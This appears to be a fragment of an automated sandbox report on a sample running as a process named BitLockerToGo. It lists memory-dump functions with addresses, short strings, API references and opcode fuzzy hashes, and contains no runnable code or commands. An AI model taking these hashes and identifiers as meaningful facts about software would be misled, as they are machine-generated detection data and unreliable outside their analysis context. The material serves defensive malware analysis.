oWCO, xrefs: 02453BDD

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: oWCO${nIJ
API String ID: 0-3428410344
Opcode ID: 08259c359900acb8af20d8aee90d81f8a784246d8467c2df42151fe39958b8f8
Instruction ID: 33906b7e2f59cca8c706f21e5ba833f8899abb71684d20714fd960892cdf663d
Opcode Fuzzy Hash: 08259c359900acb8af20d8aee90d81f8a784246d8467c2df42151fe39958b8f8
Instruction Fuzzy Hash: 3202D175A083518FC315CF29C48062BFBE2AFC9314F598A6DE8D987396D731E905CB92

Function 0245901A Relevance: 1.9, Strings: 1, Instructions: 664COMMON

Download Yara Rule

Strings

JlRp, xrefs: 0245953F

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: JlRp
API String ID: 0-1286085611
Opcode ID: b761608640ddaf2606f35d64b8f907682d9a4188ac08a497a083a618eedbeb34
Instruction ID: 942f05a2e6ec54ed3657b9715e7eb5ce03bf612921361081ca4ad09e9844d08f
Opcode Fuzzy Hash: b761608640ddaf2606f35d64b8f907682d9a4188ac08a497a083a618eedbeb34
Instruction Fuzzy Hash: 83327E70144B928BD339CF25C0A47B3BBE2BF4A308F044A6DD4EB4B686D775A409CB95

Function 0245AFE8 Relevance: 1.8, APIs: 1, Instructions: 259COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 0245AFF1

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 8a175e21a956f8d5a17fb2790f8c16a099a0a6314a00594a8ecc43642d1d8169
Instruction ID: e108aa2c60610da282e66822737b4bbd3fc109dce2619ca239caab5c2235f760
Opcode Fuzzy Hash: 8a175e21a956f8d5a17fb2790f8c16a099a0a6314a00594a8ecc43642d1d8169
Instruction Fuzzy Hash: DFA1E571604B408FC725CF38C4907A6BBE2FF99314F098A6DC8E68B396D735A805CB51

Function 0245D98C Relevance: 1.8, APIs: 1, Instructions: 253COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 0245D992

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 42ae0ca4055770e72776291d82eff7de72171e15d4138d381cb2afe477b63771
Instruction ID: 2ad48542b702cccbf2c78f51580edf648afe46e5d9229947d5bfb6ad8d25439c
Opcode Fuzzy Hash: 42ae0ca4055770e72776291d82eff7de72171e15d4138d381cb2afe477b63771
Instruction Fuzzy Hash: 82A1C271A04B50CFC729CF38C490796BBE2EF99310F08896ED8E68B396D735A845CB51

Function 0244C110 Relevance: 1.7, Strings: 1, Instructions: 480COMMON

Download Yara Rule

Strings

v, xrefs: 0244C29A

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: v
API String ID: 0-1096840235
Opcode ID: f224806eb3592326626226f40351df1c006d12f544a8139e27ef2762ff865208
Instruction ID: 7100bab4faad69cc10ef996881af94d0959960a1c29f88cefa4f515f9cde2bcf
Opcode Fuzzy Hash: f224806eb3592326626226f40351df1c006d12f544a8139e27ef2762ff865208
Instruction Fuzzy Hash: A4D11672A052118BE714CF18C89177BB3F2FF95318F0D862EE8868B395EB75A940C791

Function 02454148 Relevance: 1.7, Strings: 1, Instructions: 435COMMON

Download Yara Rule

Strings

", xrefs: 024542F6

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: dca4aa288e6d48c153efaae2845165f59a685223ab437baff792d8f53ac0f1a6
Instruction ID: 393715852ce12a6f559d6cf991461824883c2312cc365852354a63bbfa43f527
Opcode Fuzzy Hash: dca4aa288e6d48c153efaae2845165f59a685223ab437baff792d8f53ac0f1a6
Instruction Fuzzy Hash: BCD1E871A083518FD318CF28D49072EB7E2AFCA324F588A6EE8E59B3D1D7709955CB41

Function 02438ED0 Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

-, xrefs: 02438FEC

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: f4e40ef689429bc07b03efabc659da015b02e67ff82e2096729787c11463e2ad
Instruction ID: f84d8ea2e0b308e4c8ecaaca67620a27ac8c82e39b91cfaab0e871b012f46952
Opcode Fuzzy Hash: f4e40ef689429bc07b03efabc659da015b02e67ff82e2096729787c11463e2ad
Instruction Fuzzy Hash: 77D14B72A087518BC7168E29C49026BBBF3ABC9314F19891EE8D69B395D374AC45CBC1

Function 02436BE0 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

,, xrefs: 02436D33

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 7540b820bafa398ba533ca352a76dd53c61215dd65c086e3d3ebb4f5e88895b4
Instruction ID: 9f16ad97dd7aeba2ca4bdbc83355dcc83c2b6f5f7b6ad602f6ce02ed93685d66
Opcode Fuzzy Hash: 7540b820bafa398ba533ca352a76dd53c61215dd65c086e3d3ebb4f5e88895b4
Instruction Fuzzy Hash: 92B13871109382AFD315CF68C84465BFBE5AFA9308F444A1EF59897382D371EA18CB96

Function 02444A9B Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

9+, xrefs: 02444B3F

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9+
API String ID: 0-3823199749
Opcode ID: f96e078e5241b52fa7bd1b9e9b2e9b2ebce8011b670a48df20a4521aa53615c4
Instruction ID: 7e55c8941c50cbaa2f500b7a3579529971f96b3442ee3e4922c642b64a01c812
Opcode Fuzzy Hash: f96e078e5241b52fa7bd1b9e9b2e9b2ebce8011b670a48df20a4521aa53615c4
Instruction Fuzzy Hash: 054165745183809FD364CF24C4A479FFBF1AB85304F88A92EE8E987391C7B59905CB46

Function 02438280 Relevance: .8, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42ebdb54ccb3771b5472dac07f8e7828fb2bf67a702727ee4e55ca3b388498a
Instruction ID: 08c9c9ba8b8079575386b8eaee291c00542fe678efa5a70010926e6c3130389d
Opcode Fuzzy Hash: b42ebdb54ccb3771b5472dac07f8e7828fb2bf67a702727ee4e55ca3b388498a
Instruction Fuzzy Hash: 4242D7316087118BC726DF18D8906BBF3E2FFC8315F158A2EE99687385E734A455CB82

Function 02433A30 Relevance: .7, Instructions: 686COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8db5e2f301bc592af1db60bb8ebc4f08911e776e5f37c0c34851adcc060a9548
Instruction ID: 841a551680a090c491ad9e303099efd0efa7edf6eed602670e1118a2a908147f
Opcode Fuzzy Hash: 8db5e2f301bc592af1db60bb8ebc4f08911e776e5f37c0c34851adcc060a9548
Instruction Fuzzy Hash: B05293316083558FCB16CF18C0906EABBE1FF88318F1986AEE8D997351D775A985CF81

Function 0246BB50 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baa98344e157d5e168fe5285852ca624d7657556c83c97e6f6c831d14ab78166
Instruction ID: 2c6d614ce3c1119fee47bf885138c9dd3ec52f5eaad463b9465190f1caa82dd8
Opcode Fuzzy Hash: baa98344e157d5e168fe5285852ca624d7657556c83c97e6f6c831d14ab78166
Instruction Fuzzy Hash: 0E22D031A08241CFC718CF28D4A0A6AB7F2FF89704F198A6DE5D997351D734E959CB82

Function 02454ED7 Relevance: .6, Instructions: 624COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af5e4ede6929a30892cdb90d9c095f8b9fbf0182c8743c0c9d4da1d6e2445947
Instruction ID: ff07bd37bcedc3867e32f8378dde0698d3cd0e20230f4079378e69b21e5a67bd
Opcode Fuzzy Hash: af5e4ede6929a30892cdb90d9c095f8b9fbf0182c8743c0c9d4da1d6e2445947
Instruction Fuzzy Hash: 883269B0600B008FD728CF29C595A17BBF2FF85314F548A5DD8AA4BB86D734E806CB91

Function 02434430 Relevance: .6, Instructions: 616COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd699c107ee6c3339062b9bc3b50cea26d4e4514c878c478d02868fa875b2bba
Instruction ID: c0db954a8a5725366017a2d0161c455e76d3d48d827d8aabba97cdf4d6a0e340
Opcode Fuzzy Hash: fd699c107ee6c3339062b9bc3b50cea26d4e4514c878c478d02868fa875b2bba
Instruction Fuzzy Hash: A4425574514B518FC32ACF29C5906AABBF1FF89310B908A2ED5978BB90D735F845CB10

Function 02468580 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ce02ece049d29029a821e58006dedc1f32c8954c9ead1e57390cda19056aef
Instruction ID: 652bba7976a892155fdbffe8b0f537e82b595585c3d55bf15898f1d83adb9426
Opcode Fuzzy Hash: 26ce02ece049d29029a821e58006dedc1f32c8954c9ead1e57390cda19056aef
Instruction Fuzzy Hash: E6229B706093419FD714CF14C894A2BBBE2BFC9718F188A2EE5958B391D735E849CB93

Function 024366B0 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ecbbbb83cb24300a2fb22838275ffddaa149635fd15815a93eebb96c6e5831
Instruction ID: 365c7592e9b5889b894480427dab0bc687eb62d7e873b5d128b3ba283e2c3396
Opcode Fuzzy Hash: b5ecbbbb83cb24300a2fb22838275ffddaa149635fd15815a93eebb96c6e5831
Instruction Fuzzy Hash: 3CF18E311083519FCB15CF29C980B5BBBE6EF99304F09889EF8888B356D771D945CBA6

Function 0246C020 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df003de11569bf5e3f6c3f4fb06a12689a2b5ff4b79ea34cb5c4a0fa0d9c7cf7
Instruction ID: f38a3bbc28718a38360788ca0634c2287c17129f3fc0bd8569d844bc54e9e866
Opcode Fuzzy Hash: df003de11569bf5e3f6c3f4fb06a12689a2b5ff4b79ea34cb5c4a0fa0d9c7cf7
Instruction Fuzzy Hash: 97B1BC35A08301CFD718CF28C4A4A6AB7F2FF89314F198A6ED9D59B391D731A915CB81

Function 02439970 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 259c838830afbf1056a8ca960f0251e81541aec352c1788b29abd351105fa701
Instruction ID: 4eb582b7ac8151f67edfc28a477fb6b01b4f7bb4d81f13a0bb6a36cf1afe76c6
Opcode Fuzzy Hash: 259c838830afbf1056a8ca960f0251e81541aec352c1788b29abd351105fa701
Instruction Fuzzy Hash: 90C156B15083818FD325CF28C49076BBBE0BF8A354F088A5DE4D99B392C7799945CB96

Function 0246D710 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 286e2411127655b6d8e226582b8a4a97593d8fa79a12ac7c3e223b39bed938e6
Instruction ID: 45a4321446da8f500262048318a85e5ea3e1dfd77a6b9d307a6d46ae0afaa161
Opcode Fuzzy Hash: 286e2411127655b6d8e226582b8a4a97593d8fa79a12ac7c3e223b39bed938e6
Instruction Fuzzy Hash: D3A1CC71A08312CBCB24CF19C894A6BB7E2FF88714F19891EE9959B351D730EC55CB92

Function 0246D400 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 755c77dc9867f32a93d731f9d764bc1e5dbc6e3e02f8e22d0d53804f6e887b6e
Instruction ID: bc4689b45b7de2eb7586a799bfa0d31f3ef9b3b512a86ed0ff17d00923e88cd9
Opcode Fuzzy Hash: 755c77dc9867f32a93d731f9d764bc1e5dbc6e3e02f8e22d0d53804f6e887b6e
Instruction Fuzzy Hash: 94917B71A05312DBC718CF19C894A6BB7E2FF88B18F19891DE9899B750D730EC51CB92

Function 02457773 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48e69109f6f6f51164633da19d3fadd620d95e7dd4e340d58b5ca929444bb805
Instruction ID: 8cd02732d18d80b4b0cd7dcb8ce56e8051048b74ce61ba2541f22d2642bba179
Opcode Fuzzy Hash: 48e69109f6f6f51164633da19d3fadd620d95e7dd4e340d58b5ca929444bb805
Instruction Fuzzy Hash: 6391C024104BA28BD328CB39C494777FBE2AF5A214F14866ED8EB4B793D335A449CB51

Function 024571E0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bbccf1a681b7c7fb16b39d54b048b35a318cbfdadddf1d465fcf00c3eaad2e8
Instruction ID: ed9d856e9e357e4e5611679e73d42248f6bb011eac68ef13a298065a87c03e84
Opcode Fuzzy Hash: 0bbccf1a681b7c7fb16b39d54b048b35a318cbfdadddf1d465fcf00c3eaad2e8
Instruction Fuzzy Hash: 31A19C70544B428BE325CF39C4947E3BBE2AF5A305F18896DD4EB8B342DB35A415CB94

Function 02465460 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34b820371314943ae3f2e9b04d1d5e2de5d82e78b766d537d3738c1e347541d4
Instruction ID: a185a37348dda2c6a07fbdd1ee3fb171c34d87f556dd9d78ca421fccf1da7cbe
Opcode Fuzzy Hash: 34b820371314943ae3f2e9b04d1d5e2de5d82e78b766d537d3738c1e347541d4
Instruction Fuzzy Hash: AC515CB15087548FE314DF29D89436BBBE1BBC4318F444A2EE4E987350E379D6088F82

Function 024469A0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9444d628d6d5fbbf62698ffe343698c7c1c918a91b04880f42f26b15d1a730ac
Instruction ID: c32cb94950bcf5aab49fe9baccec3e488f492e142ce10afba3d4b0dc5f3877ed
Opcode Fuzzy Hash: 9444d628d6d5fbbf62698ffe343698c7c1c918a91b04880f42f26b15d1a730ac
Instruction Fuzzy Hash: 3E4123B19087048BE3219F54C880767B7ECEF57318F0A956BE98967381EFB1D981C792

Function 02440170 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 486fe932ad03d2e22d89df1110e58bc0e81d4c1a3dc68f9060d6956208a5e9f8
Instruction ID: 2eb58d52e833dd4413fa54520636c40dd9cc5712cadc03cec1045a7fda3f2391
Opcode Fuzzy Hash: 486fe932ad03d2e22d89df1110e58bc0e81d4c1a3dc68f9060d6956208a5e9f8
Instruction Fuzzy Hash: 01411532A083540FE31CCE3A889422ABBD2ABC5210F09C63EF5A6C73D4EA75D956D751

Function 02463560 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a620e664b8a16c3b2027b821f47f9918b4c750b05e9443771526df122d28202b
Instruction ID: 0bf5f912d44b8ca9dc95f290bd8ef4585e61ae83e314cdfce0f5c8cb1edfd757
Opcode Fuzzy Hash: a620e664b8a16c3b2027b821f47f9918b4c750b05e9443771526df122d28202b
Instruction Fuzzy Hash: 4611C233A091E44EC3168D3C85045B6BFA30A93934B5983DAE4B59B2D2D623C98A8356

Function 024568D0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46bea7a77dfab81600c5bf9806d836afb7552682677a1abb3f5530b3a5509aa5
Instruction ID: 1eea6b1c518673155cab09abff736e46c0d7889692eb8692a91549d807f41427
Opcode Fuzzy Hash: 46bea7a77dfab81600c5bf9806d836afb7552682677a1abb3f5530b3a5509aa5
Instruction Fuzzy Hash: A1015EF160271157D721AF5594C4B2BA2BD6F84608F5A452EDC8457302EB75E8098AA1

Function 024415F7 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78620d49061622c1886259bf08a2cfaa18c83a6ad6f42580fb6d1217751ae90e
Instruction ID: 8901002ebc27d9d11dd49d35801687f766512c34dbcbb3d6dff23e6264b6b9a2
Opcode Fuzzy Hash: 78620d49061622c1886259bf08a2cfaa18c83a6ad6f42580fb6d1217751ae90e
Instruction Fuzzy Hash: 0511C07465C2808BD308EF28D894A6EB3E1FB85344F141A2DE0C6C3290CB7589628B0A

Function 024336F0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3286b0aa82f0e022155d061268febc55dd56ee52e8d875f546cc11a09e7eb376
Instruction ID: 45daa65427d1c2da6e406d5ffc809dffef7fc283483a94a5d0605c606f93c740
Opcode Fuzzy Hash: 3286b0aa82f0e022155d061268febc55dd56ee52e8d875f546cc11a09e7eb376
Instruction Fuzzy Hash: AEF0243AB556160F7325DCBAA8C4927B795E7CD118B08853AEA45D3301DA26E80292D1

Function 02457ABC Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc1505d0dbe03c372d03cc96f2948d457882d1548c7d4cf536533429f8ea9e7
Instruction ID: 379598acfe5f992cb6cae745c2b747b0f4d16a6945126885acd836038f22871c
Opcode Fuzzy Hash: 3bc1505d0dbe03c372d03cc96f2948d457882d1548c7d4cf536533429f8ea9e7
Instruction Fuzzy Hash: 4D015A30541B418BE329CF24CA90BD3FBE3AB8A204F48496DD1EA87247C739A6158B08

Function 02438DA0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebc49a0553ebbd101380e3ae575d33830016ab1546283f0a9f204abc104f43c0
Instruction ID: d2efecd2a0b8dab92b71c66cd96be38bc3373b46968eb0481503aac8515a8e96
Opcode Fuzzy Hash: ebc49a0553ebbd101380e3ae575d33830016ab1546283f0a9f204abc104f43c0
Instruction Fuzzy Hash: D7E0D83B90D7714742228A0C7000577F3E1ADEFA20B06154AFC41F7344C761EC0683E0

Function 02446149 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cecd2d3b8979031e26d70e07e1beae32a30cf9bb6ab5e36ce63adcbd12801db9
Instruction ID: 82f095447118536f4f145b6dc36f9aa127635ac6e15715346e1a02ae78b2cc15
Opcode Fuzzy Hash: cecd2d3b8979031e26d70e07e1beae32a30cf9bb6ab5e36ce63adcbd12801db9
Instruction Fuzzy Hash: 7CE0B630E581008BD31ADF04C890976F3FAEB8B315F06A459C089AB290DB74E881CA99

Function 0243EA20 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: f5e1d8d487ee07a9b9406827bbe38ff48b2ca9e372fc8902fbc3ca01f51e1ea7
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 94D0A7616497A10E97598D3844E057BFBE8FD4B512F18149FE4D2E3205D320D8025698

Function 0246B40A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9110a94829f2cb45e99148874e69185c86740c3eb6e41bf07fd40840e71cf622
Instruction ID: 5bd3e300f0bfc10b62101b2b9576abeb537695d158324d00d2a7f0159245e599
Opcode Fuzzy Hash: 9110a94829f2cb45e99148874e69185c86740c3eb6e41bf07fd40840e71cf622
Instruction Fuzzy Hash: 6DE0E5B8E40610CFC368CF0CD290835B3F1FB49700318185DE9A2C7740D631E865CA24

Function 02451C30 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 034ec9f1470736afb6051d039c84470c96c3fddbf60b59ebb6124fd2cc51c197
Instruction ID: 40dc3432e4b13982b8e2e2be258e6b1d8aeb78b174d35ac81a1e305292335ae6
Opcode Fuzzy Hash: 034ec9f1470736afb6051d039c84470c96c3fddbf60b59ebb6124fd2cc51c197
Instruction Fuzzy Hash: B3D05B70908314DBE3009E05D508B67B6BCE783728F405619E4A81B2C2D77AD91CC7D6

Function 0243161F Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da7a1ca2e1473aec94998f6ae52f7b3d61c1aeec09089780b49f38a87fb5f5d7
Instruction ID: 0f5c9e419157b917b488b79c8b3ad41ed44a492f421edef6a029a54bd9d5a6d4
Opcode Fuzzy Hash: da7a1ca2e1473aec94998f6ae52f7b3d61c1aeec09089780b49f38a87fb5f5d7
Instruction Fuzzy Hash: DCD0C934825B14C983345F06A8A0031F7F0FF13B02B502D5DC28227624F670A24DE7AA

Function 024694C0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec114c40e16bfce1a016eb62246559cc4fbd18fe18288079e4da1db5c002edab
Instruction ID: 4f0774a3051de23bb0cadb22526394c6eecbbcd97745c5efcf6e33a3314ec586
Opcode Fuzzy Hash: ec114c40e16bfce1a016eb62246559cc4fbd18fe18288079e4da1db5c002edab
